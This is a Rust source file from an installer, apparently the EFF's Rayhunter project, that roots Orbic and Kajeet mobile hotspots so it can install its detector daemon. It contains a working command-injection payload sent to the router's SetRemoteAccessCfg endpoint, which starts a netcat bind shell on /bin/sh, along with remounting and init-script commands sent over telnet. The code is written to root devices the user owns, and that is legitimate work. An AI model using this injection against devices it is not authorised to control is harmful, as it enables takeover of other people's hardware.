use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;

use anyhow::{Context, Result, bail};
use reqwest::Client;
use serde::Deserialize;
use tokio::time::sleep;

use crate::RAYHUNTER_DAEMON_INIT;
use crate::connection::{
    TelnetConnection, install_config, install_wifi_tools, setup_data_directory,
};
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::output::{eprintln, print, println};
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};

// Some kajeet devices have password protected telnetd on port 23, so we use port 24 just in case
const TELNET_PORT: u16 = 24;

#[derive(Deserialize, Debug)]
struct ExploitResponse {
    retcode: u32,
}

async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
    // Disable connection pooling. The Orbic's web server does not properly support
    // HTTP/1.1 keep-alive, so reusing connections causes "connection closed before
    // message completed" errors.
    let client: Client = Client::builder().pool_max_idle_per_host(0).build()?;

    // Step 1: Get login info (priKey and session cookie)
    let login_info_response = client
        .get(format!("http://{}/goform/GetLoginInfo", admin_ip))
        .send()
        .await
        .context("Failed to get login info")?;

    let session_cookie = login_info_response
        .headers()
        .get("set-cookie")
        .and_then(|cookie| cookie.to_str().ok())
        .context("No session cookie received")?
        .split(';')
        .next()
        .context("Invalid cookie format")?
        .to_string();

    let login_info: LoginInfo = login_info_response
        .json()
        .await
        .context("Failed to parse login info")?;

    if login_info.retcode != 0 {
        bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
    }

    // Parse priKey (format: "secret x timestamp")
    let mut parts = login_info.pri_key.split('x');
    let secret = parts.next().context("Missing secret in priKey")?;
    let timestamp = parts.next().context("Missing timestamp in priKey")?;
    if parts.next().is_some() {
        bail!("Invalid priKey format: {}", login_info.pri_key);
    }

    // Step 2: Encode credentials
    let username_md5 = format!("{:x}", md5::compute(username));
    let timestamp_start = std::time::SystemTime::now()
        .duration_since(std::time::UNIX_EPOCH)
        .unwrap()
        .as_secs();

    let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
        .context("Failed to encode password")?;

    let login_request = LoginRequest {
        username: username_md5,
        password: encoded_password,
    };

    // Step 3: Perform login
    let login_response = client
        .post(format!("http://{}/goform/login", admin_ip))
        .header("Content-Type", "application/json")
        .header("Cookie", &session_cookie)
        .json(&login_request)
        .send()
        .await
        .context("Failed to send login request")?;

    // Extract authenticated session cookie from login response
    let authenticated_cookie = login_response
        .headers()
        .get("set-cookie")
        .and_then(|cookie| cookie.to_str().ok())
        .map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
        .unwrap_or(session_cookie);

    let login_result: LoginResponse = login_response
        .json()
        .await
        .context("Failed to parse login response")?;

    if login_result.retcode != 0 {
        match login_result.retcode {
            201 => bail!("Login failed: incorrect password"),
            code => bail!("Login failed with retcode: {}", code),
        }
    }

    // Step 4: Exploit using authenticated session
    let exploit_result = client
        .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
        .header("Content-Type", "application/json")
        .header("Cookie", authenticated_cookie)
        // Original Orbic lacks telnetd (kajeet has it) so we need to use netcat
        .body(format!(
            r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
        ))
        .send()
        .await;

    match exploit_result {
        Ok(resp) => {
            // Try to parse response but don't fail if the server closed the connection
            match resp.json::<ExploitResponse>().await {
                Ok(response) if response.retcode != 0 => {
                    bail!("unexpected response while starting telnet: {:?}", response);
                }
                Ok(_) => {}
                Err(_) => {
                    // Server likely crashed from the injection which is expected
                }
            }
        }
        Err(e) if e.is_connect() => {
            bail!("failed to connect to admin interface at {admin_ip}: {e}");
        }
        Err(e) => {
            eprintln!("exploit request failed ({e}), continuing anyway");
        }
    }

    Ok(())
}

pub async fn start_telnet(
    admin_ip: &str,
    admin_username: &str,
    admin_password: Option<&str>,
) -> Result<()> {
    let Some(admin_password) = admin_password else {
        anyhow::bail!("--admin-password is required");
    };

    print!("Logging in and starting telnet... ");
    login_and_exploit(admin_ip, admin_username, admin_password).await?;
    println!("done");

    Ok(())
}

pub async fn install(
    admin_ip: String,
    admin_username: String,
    admin_password: Option<String>,
    reset_config: bool,
    data_dir: Option<String>,
) -> Result<()> {
    let Some(admin_password) = admin_password else {
        eprintln!(
            "As of version 0.8.0, the orbic installer has been rewritten and now requires an --admin-password parameter."
        );
        eprintln!(
            "Refer to the official documentation at https://efforg.github.io/rayhunter/ for how to find the right value."
        );
        eprintln!();
        eprintln!(
            "If you are following a tutorial that does not include this parameter, the tutorial is likely outdated. You can run ./installer orbic-usb to access the old installer, however we recommend against it."
        );
        anyhow::bail!("exiting");
    };

    print!("Logging in and starting telnet... ");
    login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
    println!("done");

    print!("Waiting for telnet to become available... ");
    wait_for_telnet(&admin_ip).await?;
    println!("done");

    let data_dir = data_dir.unwrap_or_else(|| "/data/rayhunter-data".to_string());
    setup_rayhunter(&admin_ip, reset_config, &data_dir).await
}

async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
    let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
    let timeout = Duration::from_secs(60);
    let start_time = std::time::Instant::now();

    while telnet_send_command(addr, "true", "exit code 0", false)
        .await
        .is_err()
    {
        if start_time.elapsed() >= timeout {
            bail!(
                "Timeout waiting for telnet to become available after {:?}",
                timeout
            );
        }
        sleep(Duration::from_secs(1)).await;
    }

    Ok(())
}

async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) -> Result<()> {
    let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
    let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");

    // Remount filesystem as read-write to allow modifications
    // This is really only necessary for the Moxee Hotspot
    telnet_send_command(
        addr,
        "mount -o remount,rw /dev/ubi0_0 /",
        "exit code 0",
        false,
    )
    .await?;

    let mut conn = TelnetConnection::new(addr, false);
    setup_data_directory(&mut conn, data_dir).await?;

    // Ensure bin and scripts directories exist under the data dir (via symlink)
    telnet_send_command(
        addr,
        "mkdir -p /data/rayhunter/scripts /data/rayhunter/bin",
        "exit code 0",
        false,
    )
    .await?;

    telnet_send_file(
        addr,
        "/data/rayhunter/rayhunter-daemon",
        rayhunter_daemon_bin,
        false,
    )
    .await?;

    install_wifi_tools(&mut conn).await?;

    install_config(&mut conn, "orbic", reset_config).await?;

    telnet_send_file(
        addr,
        "/etc/init.d/rayhunter_daemon",
        RAYHUNTER_DAEMON_INIT.as_bytes(),
        false,
    )
    .await?;

    telnet_send_file(
        addr,
        "/etc/init.d/misc-daemon",
        include_bytes!("../../dist/scripts/misc-daemon"),
        false,
    )
    .await?;

    telnet_send_command(
        addr,
        "chmod +x /data/rayhunter/rayhunter-daemon",
        "exit code 0",
        false,
    )
    .await?;
    telnet_send_command(
        addr,
        "chmod 755 /etc/init.d/rayhunter_daemon",
        "exit code 0",
        false,
    )
    .await?;
    telnet_send_command(
        addr,
        "chmod 755 /etc/init.d/misc-daemon",
        "exit code 0",
        false,
    )
    .await?;

    println!("Installation complete. Rebooting device...");
    telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
        .await
        .ok();

    println!(
        "Device is rebooting. After it's started up again, check out the web interface at http://{}:8080",
        admin_ip
    );

    Ok(())
}

/// Root the Orbic device and open an interactive shell
pub async fn shell(
    admin_ip: &str,
    admin_username: &str,
    admin_password: Option<&str>,
) -> Result<()> {
    start_telnet(admin_ip, admin_username, admin_password).await?;
    eprintln!(
        "This terminal is fairly limited. The shell prompt may not be visible, but it still accepts commands."
    );
    interactive_shell(admin_ip, TELNET_PORT, false).await
}
